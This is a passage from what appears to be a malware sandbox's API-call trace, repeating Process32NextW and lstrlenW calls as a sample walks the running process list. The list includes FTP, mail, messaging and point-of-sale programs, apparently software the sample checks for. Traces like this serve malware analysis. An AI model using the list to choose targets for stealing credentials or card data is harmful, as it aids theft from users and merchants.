szExeFile="svchost.exe")) returned 1 [0045.894] lstrlenW (lpString="svchost.exe") returned 11 [0045.894] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0045.895] lstrlenW (lpString="audiodg.exe") returned 11 [0045.895] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.895] lstrlenW (lpString="svchost.exe") returned 11 [0045.895] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.896] lstrlenW (lpString="svchost.exe") returned 11 [0045.896] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0045.896] lstrlenW (lpString="dwm.exe") returned 7 [0045.896] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0045.897] lstrlenW (lpString="explorer.exe") returned 12 [0045.897] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0045.897] lstrlenW (lpString="spoolsv.exe") returned 11 [0045.897] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0045.898] lstrlenW (lpString="taskhost.exe") returned 12 [0045.898] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.899] lstrlenW (lpString="svchost.exe") returned 11 [0045.899] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0045.899] lstrlenW (lpString="taskeng.exe") returned 11 [0045.899] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0045.900] lstrlenW (lpString="taskhost.exe") returned 12 [0045.900] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.900] lstrlenW (lpString="svchost.exe") returned 11 [0045.900] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0045.901] lstrlenW (lpString="sppsvc.exe") returned 10 [0045.901] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.901] lstrlenW (lpString="svchost.exe") returned 11 [0045.901] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="antibodiesbatteries.exe")) returned 1 [0045.902] lstrlenW (lpString="antibodiesbatteries.exe") returned 23 [0045.902] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smsvhskate.exe")) returned 1 [0045.902] lstrlenW (lpString="smsvhskate.exe") returned 14 [0045.902] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="auditorpickupprogramming.exe")) returned 1 [0045.985] lstrlenW (lpString="auditorpickupprogramming.exe") returned 28 [0045.985] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient latin.exe")) returned 1 [0045.986] lstrlenW (lpString="patient latin.exe") returned 17 [0045.986] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barbados.exe")) returned 1 [0045.987] lstrlenW (lpString="barbados.exe") returned 12 [0045.987] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="otthose.exe")) returned 1 [0045.987] lstrlenW (lpString="otthose.exe") returned 11 [0045.987] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="suburban.exe")) returned 1 [0045.988] lstrlenW (lpString="suburban.exe") returned 12 [0045.988] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="examination.exe")) returned 1 [0045.988] lstrlenW (lpString="examination.exe") returned 15 [0045.988] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation-remark-crisis.exe")) returned 1 [0045.989] lstrlenW (lpString="circulation-remark-crisis.exe") returned 29 [0045.989] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="madrid.exe")) returned 1 [0045.989] lstrlenW (lpString="madrid.exe") returned 10 [0045.989] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurerush.exe")) returned 1 [0045.990] lstrlenW (lpString="measurerush.exe") returned 15 [0045.990] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="interest treaty spam.exe")) returned 1 [0045.990] lstrlenW (lpString="interest treaty spam.exe") returned 24 [0045.990] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikecollectionstransformation.exe")) returned 1 [0045.991] lstrlenW (lpString="unlikecollectionstransformation.exe") returned 35 [0045.991] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patrick below addressed.exe")) returned 1 [0046.009] lstrlenW (lpString="patrick below addressed.exe") returned 27 [0046.009] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jessefun.exe")) returned 1 [0046.010] lstrlenW (lpString="jessefun.exe") returned 12 [0046.010] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spyware-tampa.exe")) returned 1 [0046.010] lstrlenW (lpString="spyware-tampa.exe") returned 17 [0046.010] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sellers.exe")) returned 1 [0046.011] lstrlenW (lpString="sellers.exe") returned 11 [0046.011] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gras hair.exe")) returned 1 [0046.011] lstrlenW (lpString="gras hair.exe") returned 13 [0046.011] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="acquisitions.exe")) returned 1 [0046.012] lstrlenW (lpString="acquisitions.exe") returned 16 [0046.012] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="starscondos.exe")) returned 1 [0046.012] lstrlenW (lpString="starscondos.exe") returned 15 [0046.012] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0046.013] lstrlenW (lpString="3dftp.exe") returned 9 [0046.013] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0046.014] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0046.014] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0046.014] lstrlenW (lpString="alftp.exe") returned 9 [0046.014] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0046.015] lstrlenW (lpString="barca.exe") returned 9 [0046.015] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0046.015] lstrlenW (lpString="bitkinex.exe") returned 12 [0046.015] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0046.016] lstrlenW (lpString="coreftp.exe") returned 11 [0046.016] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0046.016] lstrlenW (lpString="far.exe") returned 7 [0046.016] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0046.017] lstrlenW (lpString="filezilla.exe") returned 13 [0046.017] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0046.017] lstrlenW (lpString="flashfxp.exe") returned 12 [0046.017] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0046.018] lstrlenW (lpString="fling.exe") returned 9 [0046.018] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0046.019] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0046.019] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0046.020] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0046.020] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0046.021] lstrlenW (lpString="icq.exe") returned 7 [0046.021] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0046.022] lstrlenW (lpString="leechftp.exe") returned 12 [0046.022] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0046.023] lstrlenW (lpString="ncftp.exe") returned 9 [0046.023] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0046.024] lstrlenW (lpString="notepad.exe") returned 11 [0046.024] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0046.025] lstrlenW (lpString="operamail.exe") returned 13 [0046.025] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0046.026] lstrlenW (lpString="pidgin.exe") returned 10 [0046.026] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0046.026] lstrlenW (lpString="scriptftp.exe") returned 13 [0046.026] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0046.027] lstrlenW (lpString="skype.exe") returned 9 [0046.027] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0046.028] lstrlenW (lpString="smartftp.exe") returned 12 [0046.028] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0046.029] lstrlenW (lpString="thunderbird.exe") returned 15 [0046.029] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0046.029] lstrlenW (lpString="totalcmd.exe") returned 12 [0046.029] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0046.030] lstrlenW (lpString="trillian.exe") returned 12 [0046.030] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0046.031] lstrlenW (lpString="webdrive.exe") returned 12 [0046.031] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0046.032] lstrlenW (lpString="whatsapp.exe") returned 12 [0046.032] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0046.032] lstrlenW (lpString="winscp.exe") returned 10 [0046.032] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0046.033] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0046.033] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0046.034] lstrlenW (lpString="active-charge.exe") returned 17 [0046.034] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0046.035] lstrlenW (lpString="accupos.exe") returned 11 [0046.035] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0046.035] lstrlenW (lpString="afr38.exe") returned 9 [0046.035] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0046.036] lstrlenW (lpString="aldelo.exe") returned 10 [0046.036] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0046.037] lstrlenW (lpString="ccv_server.exe") returned 14 [0046.037] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0046.037] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0046.037] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0046.395] lstrlenW (lpString="creditservice.exe") returned 17 [0046.395] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0046.396] lstrlenW (lpString="edcsvr.exe") returned 10 [0046.396] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0046.398] lstrlenW (lpString="fpos.exe") returned 8 [0046.398] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0046.398] lstrlenW (lpString="isspos.exe") returned 10 [0046.399] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 